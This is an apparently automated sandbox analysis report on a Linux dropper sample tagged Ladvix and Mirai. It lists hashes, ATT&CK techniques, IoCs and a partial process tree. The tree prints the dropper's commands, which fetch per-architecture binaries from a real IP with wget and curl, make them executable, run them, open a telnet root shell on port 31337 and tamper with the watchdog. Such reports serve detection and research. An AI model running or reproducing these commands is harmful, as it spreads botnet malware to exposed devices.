ladvix | 31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/06/2026, 01:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
Size 2KB
Sample260628-bkdk5aex7n
SHA256 31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
MD5 0ef4b427dd4d9ca2328593e4c1862f83
SHA1 b62314de6e3017bca0307b3ee1d18e07fabca419
SHA512 6305ec6e4a4ed7d016fc3cc874c2ea080da921cf2c16fb584274cdfe49a90161d9c4e3d2bc87c393d1e9b7300926152bd95e39267d49e81f1b11f559904a5c4a
TLSH
T15241D0F0F8369833B1984038B52D96A53BC78CF705193DB230829D65B22DB9DF069232
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery ladvix mirai infector trojan

Malware Config

Signatures

Family: Ladvix
Ladvix is a linux trojan and file infector first seen in 2022.
trojan infector ladvix
Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

ladvix 1 IoCs

Detects Ladvix payload

resource	yara_rule
behavioral2/files/fstream-5.dat	ladvix

File and Directory Permissions Modification 1 TTPs 38 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
927	chmod
692	chmod
727	chmod
874	chmod
731	chmod
862	chmod
907	chmod
911	chmod
946	chmod
976	chmod
681	chmod
942	chmod
712	chmod
747	chmod
761	chmod
869	chmod
902	chmod
922	chmod
931	chmod
957	chmod
701	chmod
707	chmod
866	chmod
937	chmod
952	chmod
972	chmod
673	chmod
697	chmod
755	chmod
849	chmod
853	chmod
856	chmod
961	chmod
967	chmod
685	chmod
716	chmod
722	chmod
807	chmod

Executes dropped EXE 27 IoCs

ioc	pid	Process
/dev/shm/ohshit.x86	676	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/var/ohshit.x86	682	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.x86.x	686	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.x86_64	693	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.x86_64.x	702	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.i686	708	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.i686.x	717	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.mips	723	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.mips.x	733	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.mpsl	749	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.mpsl.x	763	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arm	808	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arm5	850	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.arm5.x	857	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arm6	863	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.arm6.x	870	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arm7	875	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.ppc	903	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.ppc.x	912	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.m68k	923	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.m68k.x	932	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.sh4	938	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.sh4.x	947	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.arc	953	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.arc.x	962	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/dev/shm/ohshit.spc	968	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/ohshit.spc.x	977	31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ohshit.arm7
File opened for modification	/dev/misc/watchdog	ohshit.arm7
File opened for modification	/dev/watchdog	ohshit.arm
File opened for modification	/dev/misc/watchdog	ohshit.arm

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	ohshit.arm7
File opened for modification	/bin/watchdog	ohshit.arm7
File opened for modification	/sbin/watchdog	ohshit.arm
File opened for modification	/bin/watchdog	ohshit.arm

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/11/status	ohshit.arm
File opened for reading	/proc/14/status	ohshit.arm7
File opened for reading	/proc/16/status	ohshit.arm7
File opened for reading	/proc/160/status	ohshit.arm7
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/146/cmdline	ohshit.arm
File opened for reading	/proc/7/status	ohshit.arm
File opened for reading	/proc/8/status	ohshit.arm
File opened for reading	/proc/634/status	ohshit.arm7
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/585/cmdline	ohshit.arm
File opened for reading	/proc/634/cmdline	ohshit.arm
File opened for reading	/proc/76/status	ohshit.arm
File opened for reading	/proc/98/status	ohshit.arm
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/810/status	ohshit.arm
File opened for reading	/proc/6/status	ohshit.arm7
File opened for reading	/proc/22/status	ohshit.arm7
File opened for reading	/proc/643/status	ohshit.arm7
File opened for reading	/proc/283/cmdline	ohshit.arm
File opened for reading	/proc/5/status	ohshit.arm7
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/281/cmdline	ohshit.arm7
File opened for reading	/proc/108/status	ohshit.arm7
File opened for reading	/proc/43/status	ohshit.arm7
File opened for reading	/proc/98/status	ohshit.arm7
File opened for reading	/proc/875/status	ohshit.arm7
File opened for reading	/proc/29/status	ohshit.arm
File opened for reading	/proc/222/cmdline	ohshit.arm7
File opened for reading	/proc/324/status	ohshit.arm7
File opened for reading	/proc/644/status	ohshit.arm7
File opened for reading	/proc/861/status	ohshit.arm7
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/799/cmdline	ohshit.arm
File opened for reading	/proc/13/status	ohshit.arm
File opened for reading	/proc/146/cmdline	ohshit.arm7
File opened for reading	/proc/843/status	ohshit.arm7
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/586/cmdline	ohshit.arm
File opened for reading	/proc/10/status	ohshit.arm
File opened for reading	/proc/43/status	ohshit.arm
File opened for reading	/proc/20/status	ohshit.arm7
File opened for reading	/proc/41/status	ohshit.arm7
File opened for reading	/proc/632/status	ohshit.arm
File opened for reading	/proc/586/cmdline	ohshit.arm7
File opened for reading	/proc/29/status	ohshit.arm7
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/283/status	ohshit.arm
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/4/status	ohshit.arm7
File opened for reading	/proc/12/status	ohshit.arm7
File opened for reading	/proc/810/status	ohshit.arm7
File opened for reading	/proc/222/cmdline	ohshit.arm
File opened for reading	/proc/586/status	ohshit.arm
File opened for reading	/proc/641/status	ohshit.arm
File opened for reading	/proc/11/status	ohshit.arm7
File opened for reading	/proc/320/status	ohshit.arm
File opened for reading	/proc/784/status	ohshit.arm
File opened for reading	/proc/634/cmdline	ohshit.arm7
File opened for reading	/proc/13/status	ohshit.arm7
File opened for reading	/proc/320/cmdline	ohshit.arm7

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
704	sh
768	wget
795	rm
797	wget
871	sh
801	busybox
730	cp
928	ohshit.m68k
763	ohshit.mpsl.x
794	busybox
977	ohshit.spc.x
698	ohshit.x86_64
717	ohshit.i686.x
757	ohshit.mpsl
962	ohshit.arc.x
702	ohshit.x86_64.x
721	wget
719	sh
850	ohshit.arm5
903	ohshit.ppc
938	ohshit.sh4
736	sh
912	ohshit.ppc.x
914	sh
923	ohshit.m68k
947	ohshit.sh4.x
749	ohshit.mpsl
774	busybox
934	sh
943	ohshit.sh4
949	sh
958	ohshit.arc
688	sh
854	ohshit.arm5
979	sh
726	cp
779	curl
728	ohshit.mips
765	sh
804	busybox
867	ohshit.arm6
875	ohshit.arm7
932	ohshit.m68k.x
964	sh
693	ohshit.x86_64
708	ohshit.i686
723	ohshit.mips
808	ohshit.arm
857	ohshit.arm5.x
870	ohshit.arm6.x
953	ohshit.arc
676	ohshit.x86
682	ohshit.x86
686	ohshit.x86.x
908	ohshit.ppc
713	ohshit.i686
725	cp
737	rm
803	curl
805	rm
968	ohshit.spc
973	ohshit.spc
733	ohshit.mips.x
858	sh

Writes file to shm directory 22 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/ohshit.arm7	wget
File opened for modification	/dev/shm/ohshit.m68k	wget
File opened for modification	/dev/shm/ohshit.sh4	wget
File opened for modification	/dev/shm/ohshit.x86_64	wget
File opened for modification	/dev/shm/ohshit.mips	wget
File opened for modification	/dev/shm/ohshit.mpsl	wget
File opened for modification	/dev/shm/ohshit.armv7l	wget
File opened for modification	/dev/shm/ohshit.ppc	wget
File opened for modification	/dev/shm/ohshit.ppc64	wget
File opened for modification	/dev/shm/ohshit.spc	wget
File opened for modification	/dev/shm/ohshit.riscv64	wget
File opened for modification	/dev/shm/ohshit.arm64	wget
File opened for modification	/dev/shm/ohshit.i686	wget
File opened for modification	/dev/shm/ohshit.arm	wget
File opened for modification	/dev/shm/ohshit.arm6	wget
File opened for modification	/dev/shm/ohshit.mips64	wget
File opened for modification	/dev/shm/ohshit.armv4l	wget
File opened for modification	/dev/shm/ohshit.arc	wget
File opened for modification	/dev/shm/.w	touch
File opened for modification	/dev/shm/ohshit.x86	wget
File opened for modification	/dev/shm/ohshit.mipsel	wget
File opened for modification	/dev/shm/ohshit.arm5	wget

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ohshit.x86_64.x	cp
File opened for modification	/tmp/ohshit.arm5.x	cp
File opened for modification	/tmp/ohshit.m68k.x	cp
File opened for modification	/tmp/ohshit.sh4.x	cp
File opened for modification	/tmp/ohshit.arc.x	cp
File opened for modification	/tmp/ohshit.x86.x	cp
File opened for modification	/tmp/ohshit.i686.x	cp
File opened for modification	/tmp/ohshit.mips.x	cp
File opened for modification	/tmp/ohshit.mpsl.x	cp
File opened for modification	/tmp/ohshit.arm6.x	cp
File opened for modification	/tmp/ohshit.ppc.x	cp
File opened for modification	/tmp/ohshit.spc.x	cp

/tmp/31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
/tmp/31a03de8fd7dfb8908eedbb3bd14d0ffaaf2170fb7b76b47f567d156dbfacd65
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/touch
  touch /dev/shm/.w
  2⤵
  - Writes file to shm directory
  PID:646
- /bin/rm
  rm -f /dev/shm/.w
  2⤵
  PID:650
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x86
  2⤵
  - Writes file to shm directory
  PID:657
- /usr/bin/which
  which dropbear
  2⤵
  PID:658
- /bin/busybox
  busybox telnetd -l /bin/sh -p 31337
  2⤵
  PID:653
- /bin/chmod
  chmod +x ohshit.x86
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /dev/shm/ohshit.x86
  ./ohshit.x86 routers
  2⤵
  - System Network Configuration Discovery
  PID:676
- /bin/cp
  cp ohshit.x86 /dev/shm/ohshit.x86
  2⤵
  PID:678
- /bin/cp
  cp ohshit.x86 /var/ohshit.x86
  2⤵
  - Reads runtime system information
  PID:680
- /bin/chmod
  chmod +x /var/ohshit.x86
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /var/ohshit.x86
  /var/ohshit.x86 routers
  2⤵
  - System Network Configuration Discovery
  PID:682
- /bin/cp
  cp ohshit.x86 /tmp/ohshit.x86.x
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod +x /tmp/ohshit.x86.x
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/ohshit.x86.x
  /tmp/ohshit.x86.x routers
  2⤵
  - System Network Configuration Discovery
  PID:686
- /bin/sh
  sh ohshit.x86 routers
  2⤵
  - System Network Configuration Discovery
  PID:688
- /bin/rm
  rm -f ohshit.x86 /dev/shm/ohshit.x86 /var/ohshit.x86 /tmp/ohshit.x86.x
  2⤵
  PID:690
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_64
  2⤵
  - Writes file to shm directory
  PID:691
- /bin/chmod
  chmod +x ohshit.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /dev/shm/ohshit.x86_64
  ./ohshit.x86_64 routers
  2⤵
  - System Network Configuration Discovery
  PID:693
- /bin/cp
  cp ohshit.x86_64 /dev/shm/ohshit.x86_64
  2⤵
  PID:695
- /bin/cp
  cp ohshit.x86_64 /var/ohshit.x86_64
  2⤵
  PID:696
- /bin/chmod
  chmod +x /var/ohshit.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /var/ohshit.x86_64
  /var/ohshit.x86_64 routers
  2⤵
  - System Network Configuration Discovery
  PID:698
- /bin/cp
  cp ohshit.x86_64 /tmp/ohshit.x86_64.x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:700
- /bin/chmod
  chmod +x /tmp/ohshit.x86_64.x
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/ohshit.x86_64.x
  /tmp/ohshit.x86_64.x routers
  2⤵
  - System Network Configuration Discovery
  PID:702
- /bin/sh
  sh ohshit.x86_64 routers
  2⤵
  - System Network Configuration Discovery
  PID:704
- /bin/rm
  rm -f ohshit.x86_64 /dev/shm/ohshit.x86_64 /var/ohshit.x86_64 /tmp/ohshit.x86_64.x
  2⤵
  PID:705
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i686
  2⤵
  - Writes file to shm directory
  PID:706
- /bin/chmod
  chmod +x ohshit.i686
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /dev/shm/ohshit.i686
  ./ohshit.i686 routers
  2⤵
  - System Network Configuration Discovery
  PID:708
- /bin/cp
  cp ohshit.i686 /dev/shm/ohshit.i686
  2⤵
  - Reads runtime system information
  PID:710
- /bin/cp
  cp ohshit.i686 /var/ohshit.i686
  2⤵
  PID:711
- /bin/chmod
  chmod +x /var/ohshit.i686
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /var/ohshit.i686
  /var/ohshit.i686 routers
  2⤵
  - System Network Configuration Discovery
  PID:713
- /bin/cp
  cp ohshit.i686 /tmp/ohshit.i686.x
  2⤵
  - Writes file to tmp directory
  PID:715
- /bin/chmod
  chmod +x /tmp/ohshit.i686.x
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/ohshit.i686.x
  /tmp/ohshit.i686.x routers
  2⤵
  - System Network Configuration Discovery
  PID:717
- /bin/sh
  sh ohshit.i686 routers
  2⤵
  - System Network Configuration Discovery
  PID:719
- /bin/rm
  rm -f ohshit.i686 /dev/shm/ohshit.i686 /var/ohshit.i686 /tmp/ohshit.i686.x
  2⤵
  PID:720
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:721
- /bin/chmod
  chmod +x ohshit.mips
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /dev/shm/ohshit.mips
  ./ohshit.mips routers
  2⤵
  - System Network Configuration Discovery
  PID:723
- /bin/cp
  cp ohshit.mips /dev/shm/ohshit.mips
  2⤵
  - System Network Configuration Discovery
  PID:725
- /bin/cp
  cp ohshit.mips /var/ohshit.mips
  2⤵
  - System Network Configuration Discovery
  PID:726
- /bin/chmod
  chmod +x /var/ohshit.mips
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /var/ohshit.mips
  /var/ohshit.mips routers
  2⤵
  - System Network Configuration Discovery
  PID:728
- /bin/cp
  cp ohshit.mips /tmp/ohshit.mips.x
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod +x /tmp/ohshit.mips.x
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/ohshit.mips.x
  /tmp/ohshit.mips.x routers
  2⤵
  - System Network Configuration Discovery
  PID:733
- /bin/sh
  sh ohshit.mips routers
  2⤵
  - System Network Configuration Discovery
  PID:736
- /bin/rm
  rm -f ohshit.mips /dev/shm/ohshit.mips /var/ohshit.mips /tmp/ohshit.mips.x
  2⤵
  - System Network Configuration Discovery
  PID:737
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl
  2⤵
  - Writes file to shm directory
  PID:739
- /bin/chmod
  chmod +x ohshit.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /dev/shm/ohshit.mpsl
  ./ohshit.mpsl routers
  2⤵
  - System Network Configuration Discovery
  PID:749
- /bin/cp
  cp ohshit.mpsl /dev/shm/ohshit.mpsl
  2⤵
  PID:751
- /bin/cp
  cp ohshit.mpsl /var/ohshit.mpsl
  2⤵
  PID:753
- /bin/chmod
  chmod +x /var/ohshit.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /var/ohshit.mpsl
  /var/ohshit.mpsl routers
  2⤵
  - System Network Configuration Discovery
  PID:757
- /bin/cp
  cp ohshit.mpsl /tmp/ohshit.mpsl.x
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod +x /tmp/ohshit.mpsl.x
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/ohshit.mpsl.x
  /tmp/ohshit.mpsl.x routers
  2⤵
  - System Network Configuration Discovery
  PID:763
- /bin/sh
  sh ohshit.mpsl routers
  2⤵
  - System Network Configuration Discovery
  PID:765
- /bin/rm
  rm -f ohshit.mpsl /dev/shm/ohshit.mpsl /var/ohshit.mpsl /tmp/ohshit.mpsl.x
  2⤵
  PID:767
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.mips64 http://192.142.28.77/bachekuni/ohshit.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:768
- /bin/busybox
  busybox wget -q -O ohshit.mips64 http://192.142.28.77/bachekuni/ohshit.mips64
  2⤵
  - System Network Configuration Discovery
  PID:774
- /usr/bin/curl
  curl -fsSLk -o ohshit.mips64 http://192.142.28.77/bachekuni/ohshit.mips64
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:779
- /bin/busybox
  busybox curl -fsSLk -o ohshit.mips64 http://192.142.28.77/bachekuni/ohshit.mips64
  2⤵
  - System Network Configuration Discovery
  PID:794
- /bin/rm
  rm -f ohshit.mips64 /dev/shm/ohshit.mips64 /var/ohshit.mips64 /tmp/ohshit.mips64.x
  2⤵
  - System Network Configuration Discovery
  PID:795
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.mipsel http://192.142.28.77/bachekuni/ohshit.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:797
- /bin/busybox
  busybox wget -q -O ohshit.mipsel http://192.142.28.77/bachekuni/ohshit.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:801
- /usr/bin/curl
  curl -fsSLk -o ohshit.mipsel http://192.142.28.77/bachekuni/ohshit.mipsel
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:803
- /bin/busybox
  busybox curl -fsSLk -o ohshit.mipsel http://192.142.28.77/bachekuni/ohshit.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:804
- /bin/rm
  rm -f ohshit.mipsel /dev/shm/ohshit.mipsel /var/ohshit.mipsel /tmp/ohshit.mipsel.x
  2⤵
  - System Network Configuration Discovery
  PID:805
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm
  2⤵
  - Writes file to shm directory
  PID:806
- /bin/chmod
  chmod +x ohshit.arm
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /dev/shm/ohshit.arm
  ./ohshit.arm routers
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:808
- /bin/rm
  rm -f ohshit.arm /dev/shm/ohshit.arm /var/ohshit.arm /tmp/ohshit.arm.x
  2⤵
  PID:845
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm5
  2⤵
  - Writes file to shm directory
  PID:847
- /bin/chmod
  chmod +x ohshit.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /dev/shm/ohshit.arm5
  ./ohshit.arm5 routers
  2⤵
  - System Network Configuration Discovery
  PID:850
- /bin/cp
  cp ohshit.arm5 /dev/shm/ohshit.arm5
  2⤵
  PID:851
- /bin/cp
  cp ohshit.arm5 /var/ohshit.arm5
  2⤵
  PID:852
- /bin/chmod
  chmod +x /var/ohshit.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /var/ohshit.arm5
  /var/ohshit.arm5 routers
  2⤵
  - System Network Configuration Discovery
  PID:854
- /bin/cp
  cp ohshit.arm5 /tmp/ohshit.arm5.x
  2⤵
  - Writes file to tmp directory
  PID:855
- /bin/chmod
  chmod +x /tmp/ohshit.arm5.x
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/ohshit.arm5.x
  /tmp/ohshit.arm5.x routers
  2⤵
  - System Network Configuration Discovery
  PID:857
- /bin/sh
  sh ohshit.arm5 routers
  2⤵
  - System Network Configuration Discovery
  PID:858
- /bin/rm
  rm -f ohshit.arm5 /dev/shm/ohshit.arm5 /var/ohshit.arm5 /tmp/ohshit.arm5.x
  2⤵
  PID:859
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm6
  2⤵
  - Writes file to shm directory
  PID:860
- /bin/chmod
  chmod +x ohshit.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /dev/shm/ohshit.arm6
  ./ohshit.arm6 routers
  2⤵
  PID:863
- /bin/cp
  cp ohshit.arm6 /dev/shm/ohshit.arm6
  2⤵
  - Reads runtime system information
  PID:864
- /bin/cp
  cp ohshit.arm6 /var/ohshit.arm6
  2⤵
  PID:865
- /bin/chmod
  chmod +x /var/ohshit.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /var/ohshit.arm6
  /var/ohshit.arm6 routers
  2⤵
  - System Network Configuration Discovery
  PID:867
- /bin/cp
  cp ohshit.arm6 /tmp/ohshit.arm6.x
  2⤵
  - Writes file to tmp directory
  PID:868
- /bin/chmod
  chmod +x /tmp/ohshit.arm6.x
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/ohshit.arm6.x
  /tmp/ohshit.arm6.x routers
  2⤵
  - System Network Configuration Discovery
  PID:870
- /bin/sh
  sh ohshit.arm6 routers
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/rm
  rm -f ohshit.arm6 /dev/shm/ohshit.arm6 /var/ohshit.arm6 /tmp/ohshit.arm6.x
  2⤵
  PID:872
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm7
  2⤵
  - Writes file to shm directory
  PID:873
- /bin/chmod
  chmod +x ohshit.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /dev/shm/ohshit.arm7
  ./ohshit.arm7 routers
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:875
- /bin/rm
  rm -f ohshit.arm7 /dev/shm/ohshit.arm7 /var/ohshit.arm7 /tmp/ohshit.arm7.x
  2⤵
  PID:882
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.arm64 http://192.142.28.77/bachekuni/ohshit.arm64
  2⤵
  - Writes file to shm directory
  PID:884
- /bin/busybox
  busybox wget -q -O ohshit.arm64 http://192.142.28.77/bachekuni/ohshit.arm64
  2⤵
  PID:885
- /usr/bin/curl
  curl -fsSLk -o ohshit.arm64 http://192.142.28.77/bachekuni/ohshit.arm64
  2⤵
  - Checks CPU configuration
  PID:886
- /bin/busybox
  busybox curl -fsSLk -o ohshit.arm64 http://192.142.28.77/bachekuni/ohshit.arm64
  2⤵
  PID:887
- /bin/rm
  rm -f ohshit.arm64 /dev/shm/ohshit.arm64 /var/ohshit.arm64 /tmp/ohshit.arm64.x
  2⤵
  PID:888
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.armv4l http://192.142.28.77/bachekuni/ohshit.armv4l
  2⤵
  - Writes file to shm directory
  PID:889
- /bin/busybox
  busybox wget -q -O ohshit.armv4l http://192.142.28.77/bachekuni/ohshit.armv4l
  2⤵
  PID:890
- /usr/bin/curl
  curl -fsSLk -o ohshit.armv4l http://192.142.28.77/bachekuni/ohshit.armv4l
  2⤵
  - Checks CPU configuration
  PID:891
- /bin/busybox
  busybox curl -fsSLk -o ohshit.armv4l http://192.142.28.77/bachekuni/ohshit.armv4l
  2⤵
  PID:893
- /bin/rm
  rm -f ohshit.armv4l /dev/shm/ohshit.armv4l /var/ohshit.armv4l /tmp/ohshit.armv4l.x
  2⤵
  PID:894
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.armv7l http://192.142.28.77/bachekuni/ohshit.armv7l
  2⤵
  - Writes file to shm directory
  PID:895
- /bin/busybox
  busybox wget -q -O ohshit.armv7l http://192.142.28.77/bachekuni/ohshit.armv7l
  2⤵
  PID:896
- /usr/bin/curl
  curl -fsSLk -o ohshit.armv7l http://192.142.28.77/bachekuni/ohshit.armv7l
  2⤵
  - Checks CPU configuration
  PID:898
- /bin/busybox
  busybox curl -fsSLk -o ohshit.armv7l http://192.142.28.77/bachekuni/ohshit.armv7l
  2⤵
  PID:899
- /bin/rm
  rm -f ohshit.armv7l /dev/shm/ohshit.armv7l /var/ohshit.armv7l /tmp/ohshit.armv7l.x
  2⤵
  PID:900
- /usr/bin/wget
  wget -q --no-check-certificate -O ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc
  2⤵
  - Writes file to shm directory
  PID:901
- /bin/chmod
  chmod +x ohshit.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /dev/shm/ohshit.ppc
  ./ohshit.ppc routers
  2⤵
  - System Network Configuration Discovery
  PID:903
- /bin/cp
  cp ohshit.ppc /dev/shm/ohshit.ppc
  2⤵
  - Reads runtime system information
  PID:905
- /bin/cp
  cp ohshit.ppc /var/ohshit.ppc
  2⤵
  PID:906
- /bin/chmod
  chmod +x /var/ohshit.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /var/ohshit.ppc
  /var/ohshit.ppc routers
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/cp
  cp ohshit.ppc /tmp/ohshit.ppc.x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/chmod
  chmod +x /tmp/ohshit.ppc.x
  2⤵
